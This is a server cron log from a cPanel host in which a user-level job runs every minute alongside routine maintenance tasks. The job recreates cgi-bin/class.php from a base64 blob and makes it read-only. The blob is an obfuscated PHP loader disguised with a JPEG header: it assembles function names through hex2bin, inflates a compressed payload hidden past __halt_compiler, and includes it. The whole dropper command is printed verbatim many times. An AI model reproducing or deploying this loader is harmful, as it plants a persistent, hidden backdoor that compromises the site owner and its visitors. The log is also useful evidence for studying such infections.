Sep  4 05:39:01 server CROND[31639]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 05:39:01 server CROND[31640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:40:01 server CROND[32035]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 05:40:01 server CROND[32037]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 05:40:01 server CROND[32040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:40:01 server CROND[32039]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 05:40:01 server CROND[32042]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:40:01 server CROND[32038]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 05:40:01 server CROND[32043]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:40:01 server CROND[32041]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 05:41:01 server CROND[424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:41:01 server CROND[425]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:41:01 server CROND[426]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:42:01 server CROND[837]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 05:42:01 server CROND[838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:42:01 server CROND[839]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:42:01 server CROND[840]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:43:01 server CROND[1311]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:43:01 server CROND[1313]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:43:01 server CROND[1314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:44:01 server CROND[1699]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:44:01 server CROND[1700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:44:01 server CROND[1701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:45:01 server CROND[2237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:45:01 server CROND[2238]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 05:45:01 server CROND[2243]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 05:45:01 server CROND[2241]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:45:01 server CROND[2245]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 05:45:01 server CROND[2244]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 05:45:01 server CROND[2242]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:46:01 server CROND[3122]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:46:01 server CROND[3123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:46:01 server CROND[3124]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:47:01 server CROND[3512]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:47:01 server CROND[3513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:47:01 server CROND[3514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:48:01 server CROND[3902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:48:01 server CROND[3904]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:48:01 server CROND[3903]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:49:01 server CROND[4289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:49:01 server CROND[4290]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:49:01 server CROND[4291]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:50:01 server CROND[4792]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 05:50:01 server CROND[4794]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 05:50:01 server CROND[4795]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 05:50:01 server CROND[4799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:50:01 server CROND[4797]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 05:50:01 server CROND[4798]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:50:01 server CROND[4803]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:50:01 server CROND[4800]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
